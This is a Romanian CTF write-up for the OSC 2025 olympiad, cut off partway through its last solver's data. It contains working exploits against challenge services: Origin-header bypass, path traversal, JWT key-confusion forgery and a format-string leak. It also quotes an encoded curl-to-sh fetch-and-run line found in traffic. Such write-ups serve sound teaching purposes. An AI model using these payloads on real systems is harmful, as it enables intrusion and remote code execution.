Post

Olimpiada de Securitate Cibernetica OSC 2025 - Rezolvări

Olimpiada de Securitate Cibernetica OSC 2025 - Rezolvări

Rezolvări pentru Olimpiada de Securitate Cibernetica OSC 2025 etapa județeană

Notă: Acest writeup conține soluțiile pentru provocările din etapa județeană a OSC 2025. Flag-urile prezentate sunt doar pentru referință și demonstrație.

Olimpiada de Securitate Cibernetica OSC 2025 - etapa județeană a avut loc pe data de 16 martie 2025. În cadrul acestei competiții elevii de liceu au avut posibilitatea să se testeze în cadrul unei competiții de hacking. Este prima oară când particip în această competiție în calitate de autor de subiecte.

biscuiti (Network)

Descriere:

1
2
3
Biscuiții mei au prea multe calorii, așa că trebuie să îi împart în mai multe porții.

În această probă, aveți o captură PCAP, iar obiectivul este să recuperați un secret.

Această provocare a fost una dintre cele mai ușoare, având în vedere că aveam nevoie doar de a captura un secret de la un server HTTP.

Soluție:

1
2
# Capturăm pachetele HTTP
tshark -r task.pcap -Y "http.cookie" -T fields -e http.cookie | sort -t'=' -k2,2n | awk -F'; ' '{for (i=1; i<=NF; i++) if ($i ~ /^piece=/) print substr($i,7)}' | tr -d '\n'

=> Y3Rme2FkYTAwYmZkNDRhMTYxM2M3YWI5MzM0NTk3MGY5ZjYwMWNhMDYxYmE5NjFkYmFjZmVhMGViZDAxZGUzMTQzZjV9

Acest output a fost obținut prin capturarea pachetelor HTTP cu tshark și filtrarea cookie-urilor. Apoi, am sortat cookie-urile după valoarea lor numerică și am extras valoarea cookie-ului care conține “piece=”. Pentru a obține flag-ul vom decoda cookie-ul din base64 pe platforma CyberChef: https://gchq.github.io/CyberChef/#recipe=From_Base64(‘A-Za-z0-9%2B/%3D’,true,false)&input=WTNSbWUyRmtZVEF3WW1aa05EUmhNVFl4TTJNM1lXSTVNek0wTlRrM01HWTVaall3TVdOaE1EWXhZbUU1TmpGa1ltRmpabVZoTUdWaVpEQXhaR1V6TVRRelpqVjk

Q1. Care este raspunsul corect? ctf{ada00bfd44a1613c7ab93345970f9f601ca061ba961dbacfea0ebd01de3143f5}

Q2. În contextul tehnicilor de exfiltrare a datelor într-o rețea, ce metodă este descrisă atunci când datele sensibile sunt împărțite în bucăți mici și transmise folosind câmpurile din antetele HTTP? HTTP Cookie Smuggling

pawn-shop (Web)

Descriere:

1
Se spune ca fericirea nu poate fi cumparata. Acesta este cazul si pentru acest magazin. Trebuie sa gasesti o vulnerabilitate in aceasta aplicatie si sa recuperezi secretul.

Această probă verifică abilitatea de a găsi vulnerabilități în aplicații web și de a exploata acestea. La prima vedere, aplicația este un “shop”, unde putem vedea produse.

Pentru rezolvare am folosit tool-ul Burp Suite pentru a intercepta request-urile HTTP și am observat că există o vulnerabilitate.

Verificare produs Verificare pentru flag

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 403 FORBIDDEN
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Mon, 17 Mar 2025 12:55:59 GMT
Content-Type: application/json
Content-Length: 33
Access-Control-Allow-Origin: https://bit-sentinel.com
Vary: Origin
Connection: close

{"error":"Unauthorized request"}

Când încercam să accesez pagina pentru flag, am primit un răspuns 403 Forbidden cu mesajul “Unauthorized request”. Se observă că serverul impune o restricție bazată pe Origin. În mod specific, serverul permite doar request-uri provenite din https://bit-sentinel.com. Aceasta sugerează o posibilă vulnerabilitate de CORS Misconfiguration sau Referer Header Bypass.

Soluție:

1
curl -X GET "http://34.159.64.84:30179/product/flag" -H "Origin: https://bit-sentinel.com"

Q1. Pentru ce este folosita metoda de control de access prezentata in challenge?: Pentru a facilita comunicarea dintre diferite domenii.

Q2. Care este raspunsul corect?: CTF{f6acf02ec7967731d60d0d1ccbf493d05164037c6baca60055cd71fa7501404f}

asmventure (Reverse Engineering)

Descriere:

1
You will receive a binary file. Try to find the flag inside.

Această provocare implică analizarea unui fișier binar pentru a descoperi flag-ul ascuns în el. Am folosit Angr, un framework puternic de analiză a executabilelor care utilizează execuție simbolică pentru a găsi calea către un mesaj de succes.

Soluție:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import angr
import sys
import claripy

def main(argv):
  path_to_binary = argv[1]
  project = angr.Project(path_to_binary)
  
  flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(50)]  
  
  initial_state = project.factory.entry_state(stdin=flag)
  initial_state.add_constraints(flag_chars[0] == ord('O'))
  initial_state.add_constraints(flag_chars[1] == ord('S'))
  initial_state.add_constraints(flag_chars[2] == ord('C'))
  initial_state.add_constraints(flag_chars[3] == ord('{'))
  initial_state.add_constraints(flag_chars[4] == ord('r'))
  initial_state.add_constraints(flag_chars[5] == ord('3'))
  initial_state.add_constraints(flag_chars[6] == ord('v'))
  initial_state.add_constraints(flag_chars[7] == ord('_'))
  
  # Add constraints for printable ASCII characters for possible flag content
  for i in range(8, 30):
    # Constrain characters to printable ASCII (33-126) or a closing brace
    initial_state.add_constraints(
      claripy.Or(
        claripy.And(flag_chars[i] >= 33, flag_chars[i] <= 126),
        flag_chars[i] == ord('}')
      )
    )
    # If we find a closing brace, constrain all following characters to be null or ASCII
    for j in range(i+1, 30):
      initial_state.add_constraints(
        claripy.Or(
          flag_chars[j] == 0,
          claripy.And(flag_chars[j] >= 32, flag_chars[j] <= 126)
        )
      )
  
  simulation = project.factory.simgr(initial_state)

  def is_successful(state):
    # Successful print - căutam mesajul "felicitari!!"
    stdout_output = state.posix.dumps(sys.stdout.fileno())
    return b'felicitari!!' in stdout_output

  simulation.explore(find=is_successful)

  if simulation.found:
    solution_state = simulation.found[0]
    solution_bytes = solution_state.posix.dumps(sys.stdin.fileno())
    
    # Extract the flag by finding the closing brace
    flag_str = ""
    try:
      # Convert to string and clean up
      solution_str = solution_bytes.decode('utf-8', errors='ignore')
      # Find the proper flag format
      start = solution_str.find("OSC{")
      if start >= 0:
        end = solution_str.find("}", start)
        if end >= 0:
          flag_str = solution_str[start:end+1]
    except:
      pass
    
    print("Raw solution:", solution_bytes)
    if flag_str:
      print("Extracted flag:", flag_str)
    
  else:
    raise Exception('Could not find the solution')

Flag: OSC{r3v_m4st3rz}

gold-bucket (Web/Cloud)

Descriere:

1
2
3
Într-o lume tot mai digitalizată, securitatea în cloud a devenit un aspect critic pentru companii și instituții care își migrează infrastructura și datele în medii cloud. Aceasta implică un set de politici, tehnologii și bune practici menite să protejeze datele, aplicațiile și serviciile stocate în cloud de acces neautorizat, atacuri cibernetice și pierderi de date.

Obiectivul este sa recuperezi un mesaj secret din serviciul de mai jos. Mult succes!

Această provocare implica accesarea unui bucket S3 în AWS pentru a obține flag-ul. Soluția a implicat asumarea unui rol prin AWS STS (Security Token Service) și utilizarea credențialelor temporare pentru a accesa bucket-ul S3 și a obține flag-ul.

Soluție:

1
2
3
4
5
6
7
8
9
10
11
12
13
# Asumăm un rol în AWS folosind STS
aws sts assume-role \
    --role-arn arn:aws:iam::011528296162:role/osc-golden-role \
    --role-session-name s3hacker-session \
    --tags Key=SessionName,Value=s3hacker-session

# Setăm credențialele temporare obținute 
export AWS_ACCESS_KEY_ID=?
export AWS_SECRET_ACCESS_KEY=?
export AWS_SESSION_TOKEN=?

# Descărcăm flag-ul din bucket
aws s3 cp s3://osc-golden-bucket/flag.txt .

Flag: CTF{4e6ca26fb88149f73ddac3add64a796d32bb302e68a954dce346fd36472bd310}

lafayette (Misc)

Descriere:

1
Lafayette a fost un aristocrat francez și ofițer militar. Din cauza vârstei, a început să uite atacurile sale, așa că a creat un serviciu unde le putea stoca. Poți ajuta să recuperăm cel mai secret atac al său?

Provocarea implică o aplicație server Node.js vulnerabilă la un atac de tip directory traversal. Exploatând această vulnerabilitate, am putut citi fișierul flag.ctf de pe server.

Analiza:

  1. Aplicația oferă 3 opțiuni:
    • Create attack (neimplementată)
    • Get current attacks
    • Quit
  2. Din Dockerfile observăm că flag-ul se află în /flag.ctf

  3. Codul verifică ID-ul introdus în două moduri:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    if (id.includes("..") || id.includes("/")) {
        console.log("Why are you sneaky? Just because Lafayette was sneaky?");
        showMainMenu();
        return;
    }
    
    // Check if ID is part of attacks.json
    const attacks = loadAttacks();
    const attack = attacks.attacks.find((attack) => eval(attack.regex).test(id));
    
  4. Observăm două verificări de securitate:
    • Verifică dacă ID-ul conține “..” sau “/” folosind includes()
    • Verifică dacă ID-ul se potrivește cu un regex din attacks.json

Soluție:

  1. Bypass pentru verificarea includes():
    • Folosim un array în loc de string pentru ID
    • includes() va verifica dacă array-ul conține elementul “..”, nu dacă conține caracterele “..”, nu verifică în adâncime.
  2. Bypass pentru verificarea regex:
    • Unul din atacuri folosește regex-ul /^4+$/m
    • Flag-ul m face regex-ul să fie multiline
    • Putem crea un payload cu o linie conținând “4” și alta linie cu ce vrem noi
    • Putem crea linii noi folosind \u000a sau \n în JSON
  3. Bypass pentru extensia .txt:
    • Codul adaugă .txt la ID
    • Flag-ul este în /flag.ctf
    • Codul folosește strip() pentru a lua doar primele 50 de caractere
    • Putem face payload-ul suficient de lung pentru a “elimina” extensia .txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
from pwn import *
context.log_level = "debug"

def exploit():
    p = remote("localhost", 4444)

    p.recvuntil("Enter your choice: ")

    # Selectăm opțiunea de a vizualiza detaliile unui atac
    p.sendline("2")
    
    p.recvuntil("Enter attack ID to view details: ")

    # Construim payload-ul care exploatează vulnerabilitatea de directory traversal
    payload = '["444444444444444444444444444444444444444444444\\n../../../../../../../../../../../../../../../../../flag.ctf"]'

    log.info("Sending payload: " + payload)
    p.sendline(payload)
    
    # Primim răspunsul care ar trebui să conțină flag-ul
    data = p.recv(timeout=2)
    print(data.decode())
    
    # Menținem conexiunea interactivă
    p.interactive()

Flag: CTF{0834a9094bfb34aa45759c9f887d183c0e5e0386ae702e89cadf66766bf6054a}

merchandise (Cryptography)

Descriere:

1
The Merchant of DOOM era un traficant de arme notoriu, care prospera prin rețele complexe și logistică avansată. Își codifica tranzacțiile într-un mod unic, folosind vectori pentru a-și ascunde afacerile. Poți descifra operațiunile sale secrete și descoperi înțelegerile ascunse?

Provocarea implică un server Sage care cere un vector B cu 3 numere întregi, pentru simplitate eu am ales vectorul B = [0, 0, 1], baza canonică în spațiu vectorial \(R^3\). Serverul calculează produsul vectorial (cross product) între un vector A secret și vectorul B furnizat de noi, apoi folosește un hash al produsului vectorial pentru a genera o cheie de criptare AES pentru flag.

Soluție:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from Crypto.Cipher import AES
from hashlib import sha256
import socket
import re
import time

def decrypt_flag(key, encrypted_flag_hex):
    # Convert from hex to bytes
    encrypted_flag = bytes.fromhex(encrypted_flag_hex)
    
    # Decrypt
    cipher = AES.new(key, AES.MODE_ECB)
    padded_flag = cipher.decrypt(encrypted_flag)
    
    # Remove padding
    pad_len = padded_flag[-1]
    flag = padded_flag[:-pad_len]
    
    return flag

def recvall(sock, timeout=2):
    # Set a timeout so we don't wait forever
    sock.settimeout(timeout)
    data = b''
    
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            data += chunk
            # Small delay to check if more data is coming
            time.sleep(0.1)
    except socket.timeout:
        pass  # This is expected
    
    return data.decode('utf-8', errors='ignore')

def solve():
    # Connect to the service
    HOST = 'localhost'  # Schimbă cu hostul real unde rulează serviciul
    PORT = 4141         # Portul din Dockerfile
    
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((HOST, PORT))
            
            # Read initial prompt
            initial_data = recvall(s)
            
            # Trimitem vectorul B
            # Folosim B = [0, 0, 1] pentru a crea un produs vectorial unde:
            # cP[0] = A[1], cP[1] = -A[0], cP[2] = 0
            # Acest vector funcționează indiferent de valorile lui A
            B = "0 0 1"
            
            s.sendall((B + "\n").encode())
            
            # Primim răspunsul
            full_response = recvall(s)
            
            # Extragem produsul vectorial din output-ul de debug
            cp_match = re.search(r"DEBUG cP: (.*?)(?:\n|$)", full_response)
            if cp_match:
                cp_str = cp_match.group(1)
                
                # Generăm cheia de criptare din hash-ul SHA-256 al produsului vectorial
                encryption_key = sha256(str(cp_str).encode()).digest()
                
                # Extragem flag-ul criptat
                encrypted_flag_match = re.search(r"jumbled up prize: ([0-9a-f]+)", full_response)
                if encrypted_flag_match:
                    encrypted_flag_hex = encrypted_flag_match.group(1)
                    
                    # Decriptăm flag-ul
                    flag = decrypt_flag(encryption_key, encrypted_flag_hex)
                    print(f"Flag: {flag.decode()}")
    
    except Exception as e:
        print(f"Error: {e}")

Flag: CTF{76b6e66355e0ae005021842c8082b9f3595aa04c7d574567ca73a37db5d1f790}

mccrab (Web)

Descriere:

1
2
3
4
5
6
7
8
9
Recent, m-am întâlnit cu Ferris, crab-ul. Mi-a spus că organizează o petrecere rave. De fapt, organizează crabrave! Acum, dacă citești acest mesaj, probabil că NU ești un crab. Dar poți totuși să te alături petrecerii! Oamenii care sunt foarte bogați în moneda crabilor pot cumpăra un bilet (adică flag-ul) și se pot alătura distracției. Găsește flag-ul și vino la crabrave!

PS: S-ar putea să fie nevoie să te "oxidezi" puțin...

PS2: Daca incerci sa pornesti dockerul local, arhiva are nevoie de acest .env

TEMPLATES_PATH=/app/views
STATIC_PATH=/app/static
DB_FILE=/app/database.db

Analiza:

  1. Flag-ul este stocat în baza de date la inițializare:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    conn.execute(
     "INSERT OR IGNORE INTO products (name, description, icon, price, product_data) VALUES 
     ...,
     ('Crab Flag', \"Don't worry about this one\", 'crab_flag.png', 1337, ?1)",
     params![
         fs::read_to_string("/mnt/flags/flags.txt")
             .and_then(|flag| {
                 fs::remove_file("/mnt/flags/flags.txt").unwrap_or_default();
                 Ok(flag)
             })
             .unwrap_or("OSC{fake_flag}".to_string())
     ],
    )?;
    
  2. Pentru a obține flag-ul, trebuie să:
    • Avem un balance de minim 1337
    • Username-ul trebuie să fie “KingCrab”
    • Trebuie să cumpărăm produsul cu ID-ul 6 (flag-ul)
  3. Autentificarea se bazează pe un sistem JWT custom:
    • Cookie-ul este semnat folosind algoritmul SM2 (curbă eliptică)
    • Se folosește un salt unic: b"McOSC" XOR cu datele și înmulțit cu 1337
  4. Vulnerabilitatea:
    • În cuchi_verify există două tipuri de verificare a semnăturii:
      • CRABCURVE: folosește SM2
      • CRABRAVE: folosește ChaCha20
    • În cazul CRABRAVE, se folosește cheia publică pentru verificare în loc de cheia privată (Key confusion)
    • Cheia publică este accesibilă prin ruta /static

Soluție:

  1. Descărcăm cheia publică de la /static/public-key.pem

  2. Creăm un program Rust pentru a genera cookie-ul dorit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
use smcrypto::sm2;
use serde_json::json;
use base64::{engine::general_purpose::STANDARD_NO_PAD, Engine as _};
use chacha20poly1305::{
    aead::{
        Aead,
        generic_array::GenericArray
    }, ChaCha20Poly1305, Key, KeyInit, Nonce
};
use sha2::{Sha256, Digest};

fn main() {
    let header = json!({
        "alg": "CRABRAVE",
        "typ": "JWT"
    });
    let payload = json!({
        "id": 1,
        "username": "KingCrab",
        "balance": 1000000
    });
    let salted_data = payload.to_string().as_bytes()
        .iter()
        .zip(
            b"McOSC"
                .iter()
                .cycle()
        )
        .map(|(a, b)| ((a ^ b) as i32 * 1337) as u8)
        .collect::<Vec<u8>>();
    let kp = sm2::pubkey_from_pem_file("public-key.pem");
    let k: &Key = GenericArray::from_slice(kp.as_bytes()[..32].as_ref());
    let chacha_ctx = ChaCha20Poly1305::new(k);
    let daigest = Sha256::digest(&salted_data);
    let nonce = Nonce::from_slice(
        &daigest.as_slice()[..12]
    );
    let encrypted = chacha_ctx.encrypt(&nonce, salted_data.as_slice()).unwrap();
    let jwt = format!(
        "{}.{}.{}",
        STANDARD_NO_PAD.encode(&header.to_string().as_bytes()),
        STANDARD_NO_PAD.encode(&payload.to_string().as_bytes()),
        STANDARD_NO_PAD.encode(&encrypted)
    );
    println!("{}", jwt);
}
  1. Dependențe necesare în Cargo.toml:
1
2
3
4
5
6
7
8
base64 = "0.22.1"
chacha20poly1305 = "0.10.1"
hex = "0.4.3"
lazy_static = "1.5.0"
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0.125"
sha2 = "0.10.8"
smcrypto = "0.3.1"
  1. Folosim cookie-ul generat pentru a cumpăra flag-ul:
    1
    2
    3
    4
    
    GET /buy?id=6 HTTP/1.1
    Host: 0.0.0.0:1337
    Cookie: crab_token=<token-ul generat>
    Connection: keep-alive
    

Flag: OSC{fake_flag}

montogamy (Pwn)

Descriere:

1
2
3
E prima data cand ai un contact cu o proba de pwn? Acest exercitiu s-ar putea sa fie pentru tine.

PS: Acest serviciu merge cu netcat.

Această provocare implică o vulnerabilitate de tip format string într-un program. Exploatăm această vulnerabilitate pentru a extrage informații din memoria programului.

Soluție:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

#context.log_level = 'debug'
context.arch = 'amd64'

ip = "?"  # IP-ul serverului
port = "?"  # Portul serverului

r = remote(ip, port)

def main():
    r.recvuntil('Enter your input: ')
    # Format string printf pentru a prelua date din stivă
    payload = b'%lx' * 100
    r.sendline(payload)
    msg = r.recvall().strip().split(b'\n')[-1]
    if msg.startswith(b"b'") and msg.endswith(b"'"):
        msg = msg[2:-1]
    msg_str = msg.decode()
    flag_hex = ""
    
    # Convertim șirul hexadecimal în caractere
    for i in range(0, len(msg_str), 2):
        try:
            char = bytes.fromhex(msg_str[i:i+2]).decode('ascii')
            flag_hex += char
        except:
            flag_hex += '.'
    print(flag_hex)

    # Inversăm ordinea octeților pentru a obține flag-ul corect
    flag_hex = [flag_hex[i:i+4] for i in range(0, len(flag_hex), 4)]
    flag_hex = [i[::-1] for i in flag_hex]
    flag_hex = ''.join(flag_hex)
    print(flag_hex)

if __name__ == '__main__':
    main()

Q1. Care este raspunsul corect? : CTF{fake_flag}, flag-uri sunt dinamice.

Q2. Care dintre următoarele funcții poate fi vulnerabilă la un format string attack? printf

flojail (Crypto)

Descriere:

1
Crezi că poți rezolva o ecuație matematică? Cred că ar trebui să încerci aceasta.

Aceasta este problema propusa de mine in cadrul concursului OSC 2025. Problema implică manipularea reprezentării în virgulă mobilă IEEE-754 și găsirea unui număr specific care satisface anumite condiții matematice.

Mantisa

Examinând fișierul chall.py, observăm următoarele aspecte cheie:

  1. Avem o valoare secretă n care trebuie găsită
  2. Se folosește constanta pi din modulul math
  3. Există următoarele constrângeri pentru n:
    • Este un număr întreg (int)
    • Este în intervalul (2^40, 2^50)
    • Este impar
    • Satisface condiția pi % (pi/n) == 0
  4. Se calculează hash-ul SHA256 al lui n convertit în bytes
  5. Hash-ul țintă este: 245d4f6a2ef061ca778a0bdfc0f28eafa36d73a139376d836486d18e402d29dc

Soluție:

Pașii cheie ai soluției:

  1. Extragem mantisa lui pi din reprezentarea sa IEEE-754
  2. Factorizăm mantisa pentru a găsi posibilele valori ale lui n
  3. Verificăm care dintre aceste valori satisfac toate condițiile
  4. Testăm hash-ul pentru valorile candidate

Am folosit SageMath pentru a rezolva problema.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from hashlib import sha256
from Crypto.Util.number import long_to_bytes
import struct

def float_to_bits(f):
    return struct.unpack(">Q", struct.pack(">d", f))[0]

def bits_to_float(b):
    return struct.unpack(">d", struct.pack(">Q", b))[0]

def calc(x, n):
    x_bits = float_to_bits(x)
    y_bits = float_to_bits(n)

    x_mantissa = x_bits & ((1 << 52) - 1) | (1 << 52)
    y_mantissa = y_bits & ((1 << 52) - 1) | (1 << 52)

    print(x_mantissa, y_mantissa)

    result_exponent = ((x_bits >> 52) & 0x7FF) - ((y_bits >> 52) & 0x7FF) + (y_bits >> 52) & 0x7FF
    result_mantissa = ((x_mantissa << 52) // y_mantissa * y_mantissa) >> 52

    result_bits = (result_exponent << 52) | (result_mantissa & ((1 << 52) - 1))
    print(result_bits)
    return bits_to_float(result_bits)
    

from math import pi
from sage.all import factor, prod
from itertools import product

x = pi
x_bits = float_to_bits(x)
x_mantissa = x_bits & ((1 << 52) - 1) | (1 << 52)
factors = factor(x_mantissa)

d = [prod(item) for item in product(*[[p**k for k in range(e+1)] for p,e in factors])]
d = sorted(d)
correct = [f for f in d if (2**40 < f < 2**50 and f%2 == 1)]

for n in correct:
    p1 = x % (x/n)
    c1 = x - calc(x, n)
    if sha256(long_to_bytes(n)).hexdigest() == "245d4f6a2ef061ca778a0bdfc0f28eafa36d73a139376d836486d18e402d29dc":
        print("Found n:", n)
        break

phantom-logger (Network/OSINT/Threat hunting)

Descriere:

1
2
Un serviciu obișnuit de jurnalizare web funcționează în fundal, colectând șirurile de User-Agent din cererile primite.
Totuși, în spatele aparențelor, ceva nu este în regulă – există suspiciuni privind o portiță de acces ascunsă.

Soluție:

Am început să mă uit prin pachetele din fișier și am reușit să găsesc un mesaj encodat la secțiunea User-agent. M-am folosit de tshark pentru a căuta în tot fișierul mai multe mesaje encodate:

1
tshark -r capture.pcap -Y http.request -T fields -e http.user_agent

Folosind această comandă am observat un string special 3VybCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vSGFja2VyMzk1LUFMVC1GNC9VcGxvYWRlZF9maWxlcy9yZWZzL2hlYWRzL21haW4vZXhmaWxzaC5zaCB8IHNo. L-am pus pe CyberChef și am primit un link de GitHub.

phantomlogger1

Din categoria challenge-ului mi-am dat seama că trebuie să fac OSINT pe autorul acestui proiect. Am găsit acest commit unde am înțeles că trebuie să XOR-am toate numerele unde apare DNS-ul rocsc.ro.

https://github.com/Hacker395-ALT-F4/Uploaded_files/commit/54bda9536f3a3b99a05aa4ad060cbe30c05d03cc

Din nou m-am folosit de tshark:

1
tshark -r input_file.pcapng -Y dns -T fields -e dns.qry.name -e dns.resp.name | grep 'rocsc.ro' > fisier.txt

Am mai extras doar numerele din fișier cu:

1
awk -F'.' '!seen[$1]++ {print $1}' fisier.txt > fisier.txt

și am pus numerele pe CyberChef și am găsit flag-ul.

phantomlogger2

Q1. Ce se întâmplă atunci când un client face o cerere DNS pentru un nume de domeniu pe care nu l-a mai rezolvat recent?: Clientul verifică mai întâi cache-ul său local și, dacă nu găsește o intrare validă, transmite cererea către un resolver DNS.

Q2. Identifică datele exfiltrate: CTF{b19697af5a6a848037a571ab3eb5dd7b0fd2ab914c598fdcb1152a5ae5d64982}

mlue (Network)

Descriere:

1
În urma unui atac cibernetic, a fost obținut fișierul mlue.pcapng pentru investigație. Analizează fișierul și răspunde la următoarele întrebări.

Această provocare implică analiza unui fișier PCAPNG pentru a gasi numele malware-ului care rulează pe stația compromisă,IP-ul si port-ul pentru serverul de C2 și Ce comanda a fost executata pe serverul de C2, pentru a exfiltra date.

Solutie

Pentru inceput am studiat pachetele fisierului pe care le-am primit. Spre final am reusit sa gasesc ceva interesant in fluxul TCP cu ID-ul 9 asa ca am filtrat pachetele folosind comanda tcp.stream eq 9 .

Urmarind acest stream am reusit sa gasesc raspunsul intrebarii a 3-a: ps

Aceasta comanda afiseaza procesele active ale utilizatorului. A fost usor sa imi dau seama ca in campul user trebuie sa fie darius pentru a gasi numele malware-ului. Am scrollat mai jos si am inceput sa gasesc procesele utilizatorului pe care il cautam. Acolo am si gasit raspunsul primei intrebari: mblue-lockerV1

Pentru aflarea ultimului raspuns m-am folosit de site-ul 🔍 Online pcap files viewer for analyze HTTP, DNS, other network traffic . Aici am incarcat fisierul mlue.pcapng si deschizand sectiunea Open Ports on Network Nodes am gasit mai multe IP-uri si PORT-uri insa doar unul era ciudat,acesta s-a dovedit sa fie si raspunsul: 127.0.0.1:9001

silent-relay (Reverse Engineering/Network/Misc)

Descriere:

1
Am găsit acest binar care generează un trafic suspect. Poți să îl investighezi? Ai la dispoziție atât fișierul bin cât și o captură PCAP.

Solutie Analizând fișierul .bin am putut observa că bazat pe valoarea caracterelor 0x30 = '0' si 0 x31 = '1' este un pattern al delay-urilor: ‘0’ → usleep(100000) (100ms) ‘1’ → usleep(500000) (500ms) . Folsindu-mă de tshark am reusit sa extrag aceste delay-uri din fisierul PCAPNG:

tshark -r yourfile.pcapng -Y "tcp.flags.syn == 1 and tcp.flags.ack == 0" -T fields -e frame.time_epoch > syn_times.txt

Acum ca am extras timestamp-urile din fisierul PCAPNG trebuie sa le prelucram pentru a avea datele in formatul de care avem nevoie:

awk 'NR>1 {print $1-prev} {prev=$1}' syn_times.txt

Pentru a termina challange-ul trebuie sa transformam intervalele cum am spus mai sus, 0.500 → 1 si 0.100 → 0. Script-ul transforma delay-urile in cod binar apoi in text.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
intervals = [
    0.100197, 0.500317, 0.500158, 0.100276, 0.100251, 0.10059, 0.500554, 0.500226,
    0.100139, 0.500232, 0.500194, 0.500318, 0.10019, 0.500388, 0.10051, 0.100179,
    0.100403, 0.50018, 0.500635, 0.100533, 0.100267, 0.500577, 0.500281, 0.100148,
    0.100131, 0.500473, 0.500448, 0.500196, 0.500398, 0.100232, 0.500622, 0.500721,
    0.100249, 0.50069, 0.500712, 0.100214, 0.10069, 0.100567, 0.500345, 0.100257,
    0.100287, 0.500694, 0.500246, 0.100799, 0.10021, 0.100408, 0.100668, 0.500509,
    0.100446, 0.500534, 0.500616, 0.100484, 0.100257, 0.500669, 0.50065, 0.100704,
    0.100408, 0.100483, 0.500711, 0.500268, 0.500674, 0.100205, 0.100626, 0.500431,
    0.100516, 0.500669, 0.500486, 0.100407, 0.100213, 0.500636, 0.10032, 0.500238,
    0.100597, 0.500188, 0.500316, 0.100655, 0.100836, 0.500479, 0.100235, 0.500764,
    0.100835, 0.500605, 0.500196, 0.10017, 0.100396, 0.100546, 0.500738, 0.500614,
    0.100224, 0.50054, 0.500382, 0.10019, 0.100636, 0.100476, 0.500429, 0.100596,
    0.100621, 0.500549, 0.500768, 0.1004, 0.100613, 0.500449, 0.500514, 0.100462,
    0.100164, 0.500231, 0.500674, 0.100764, 0.100468, 0.500607, 0.500529, 0.100816,
    0.100395, 0.100713, 0.50078, 0.500602, 0.100225, 0.100438, 0.500594, 0.500365,
    0.100714, 0.100435, 0.500636, 0.500562, 0.100497, 0.100706, 0.100577, 0.500156,
    0.10027, 0.500651, 0.500245, 0.100555, 0.10063, 0.500724, 0.10047, 0.500608,
    0.100731, 0.100284, 0.500443, 0.500623, 0.10031, 0.100551, 0.500623, 0.500692,
    0.10071, 0.500407, 0.500699, 0.100703, 0.10107, 0.500736, 0.100656, 0.100187,
    0.100245, 0.100451, 0.500602, 0.500573, 0.100543, 0.100208, 0.100387, 0.100439,
    0.100258, 0.500186, 0.500904, 0.100713, 0.10028, 0.500486, 0.500427, 0.100217,
    0.100802, 0.500302, 0.500185, 0.100362, 0.100415, 0.100497, 0.50057, 0.500177,
      0.100499, 0.500398, 0.500358, 0.100164, 0.100935, 0.500262, 0.100608, 0.100241,
    0.100431, 0.50044, 0.500258, 0.100301, 0.100335, 0.500355, 0.500464, 0.100339,
    0.100222, 0.100643, 0.500401, 0.50045, 0.500637, 0.100626, 0.100194, 0.500389,
    0.10017, 0.500183, 0.50075, 0.100556, 0.100599, 0.500448, 0.100207, 0.100351,
    0.100174, 0.500174, 0.500398, 0.100497, 0.100671, 0.101203, 0.500231, 0.500279,
    0.100341, 0.100224, 0.500379, 0.500251, 0.500444, 0.100674, 0.10018, 0.100438,
    0.100242, 0.100247, 0.50072, 0.50081, 0.100677, 0.100546, 0.500233, 0.100697,
    0.100667, 0.100609, 0.500658, 0.50028, 0.100452, 0.100558, 0.100138, 0.100252,
    0.100202, 0.500339, 0.500489, 0.10039, 0.100278, 0.500336, 0.100431, 0.100182,
    0.100576, 0.10053, 0.50053, 0.500301, 0.100323, 0.500229, 0.500721, 0.100486,
    0.10046, 0.100313, 0.500634, 0.50022, 0.100492, 0.500522, 0.500236, 0.500379,
    0.100274, 0.10049, 0.500691, 0.500403, 0.100859, 0.100299, 0.500654, 0.50061,
    0.100253, 0.10041, 0.500234, 0.500654, 0.10064, 0.500589, 0.100381, 0.500671,
    0.10046, 0.100258, 0.500168, 0.500513, 0.500505, 0.100877, 0.100273, 0.500462,
    0.100492, 0.100544, 0.500255, 0.500193, 0.100483, 0.500522, 0.100266, 0.100421,
    0.10022, 0.100227, 0.500218, 0.500448, 0.100658, 0.100555, 0.500669, 0.100523,
    0.100363, 0.100565, 0.500507, 0.500194, 0.100456, 0.500182, 0.500407, 0.100499,
    0.10058, 0.100199, 0.500535, 0.50036, 0.100158, 0.100208, 0.100408, 0.500313,
    0.100282, 0.100207, 0.500473, 0.500566, 0.100193, 0.100563, 0.100518, 0.500548,
